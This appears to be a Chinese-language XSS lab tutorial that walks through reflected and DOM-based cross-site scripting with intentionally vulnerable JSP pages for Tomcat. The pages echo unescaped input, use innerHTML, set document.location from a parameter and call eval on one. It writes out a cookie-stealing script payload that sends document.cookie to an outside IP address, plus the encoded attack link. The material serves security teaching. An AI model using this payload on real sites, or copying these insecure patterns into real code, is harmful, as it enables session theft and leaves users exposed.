XSS漏洞
一、反射型XSS
下面两个文件可以直接部署在tomcat的ROOT目录下
s.jsp
<!-- filename is s.jsp --> <%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <!DOCTYPE html> <html> <body> <form action="r.jsp" method="get"> <input name="keywords" type="text"> <button type="submit">search</button> </form> </body> </html>
r.jsp
<!-- filename is r.jsp --> <%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <!DOCTYPE html> <html> <body> <% String keywords = request.getParameter("keywords"); if (keywords != null && keywords != "") { // keywords value don't save to database, just show it in browser out.write("3 search results for \"" + keywords + "\" "); out.write("<br>"); out.write("<br>"); out.write("data 1"); out.write("<br>"); out.write("data 2"); out.write("<br>"); out.write("data 3"); } %> </body> </html>
payload:
<script>new Image().src="http://120.46.219.162:9999/"+document.cookie</script>
生成的链接:
http://127.0.0.1:8888/r.jsp?keywords=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2F120.46.219.162%3A9999%2F%22%2Bdocument.cookie%3C%2Fscript%3E
二、 DOM型XSS
DOM型XSS是一种基于脚本语言对DOM树的操作的XSS。
DOM型XSS从执行时机看可以分为两种类型,一是客户端加载页面时自动执行的,一是相关事件触发时执行的。
前一种DOM型XSS与反射型XSS相类似,都需要用户提交并在服务器返回新页面时自动执行。
后一种DOM型XSS不需要向服务器发送请求,由页面定义的绑定的相关事件触发。
1、新页面加载时执行的DOM型XSS示例
注意: document.getElementById("x").innerHTML(<script>alert(1)</script>);中的js代码不会执行。因为innerHTML插入文本到网页中有可能存在安全风险问题,所以HTML5中不执行由innerHTML插入的<script>标签里的代码。但输入:<img src="" onerror="alert(1)">,可以成功执行。
d.jsp
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <!DOCTYPE html> <html> <head> <title>XSS_DOM</title> </head> <body> <p id="p">Hello, XSS_DOM</p> <script> var search = document.location.search; var params = new URLSearchParams(search); var username = params.get('name'); if (username !== null) { document.getElementById("p").innerHTML = 'Hello, ' + username + '!'; } </script> </body> </html>
payload:
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <!DOCTYPE html> <html> <head> <title>XSS_DOM</title> </head> <body> <p id="p">Hello, XSS_DOM</p> <script> var search = document.location.search; var params = new URLSearchParams(search);// Location 漏洞 // http://127.0.0.1:9999/xss.jsp?url=http://www.baidu.com // http://127.0.0.1:9999/xss.jsp?url=javascript:alert(1) // 客户端访问上面的路径,浏览器发送请求到服务器,服务器响应html,客户端执行js var url = params.get('url'); if (url !== null) { document.location = url; } // Execution 漏洞 // 客户端访问 http://127.0.0.1:9999/xss.jsp?x=alert(1),浏览器发送请求到服务器,服务器响应html,客户端执行js var x = params.get('x'); eval(x); </script> </body> </html>
DVWA 里的 DOM 型 XSS 示例,js 执行的时机也是新页面加载的时候,整个流程是:填写页面表单,提交,这个提交是真实的提交到了服务器,然后服务器返回新页面,客户端加载新页面并执行其中的js。
(2)相关事件触发执行的DOM型XSS示例
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <!DOCTYPE html> <html> <!-- input框输入:<img src="" onerror="alert(1)">
失去焦点事件触发 --> <head> <title>XSS_DOM</title> </head> <body> <input id="x" type="text" onblur="xFun()"> <p id="p">This is a Test.</p> <script> function xFun() { let x = document.getElementById("x").value; if (x != null) { document.getElementById("p").innerHTML = 'Hello, ' + x + '!'; } } </script> </body> </html>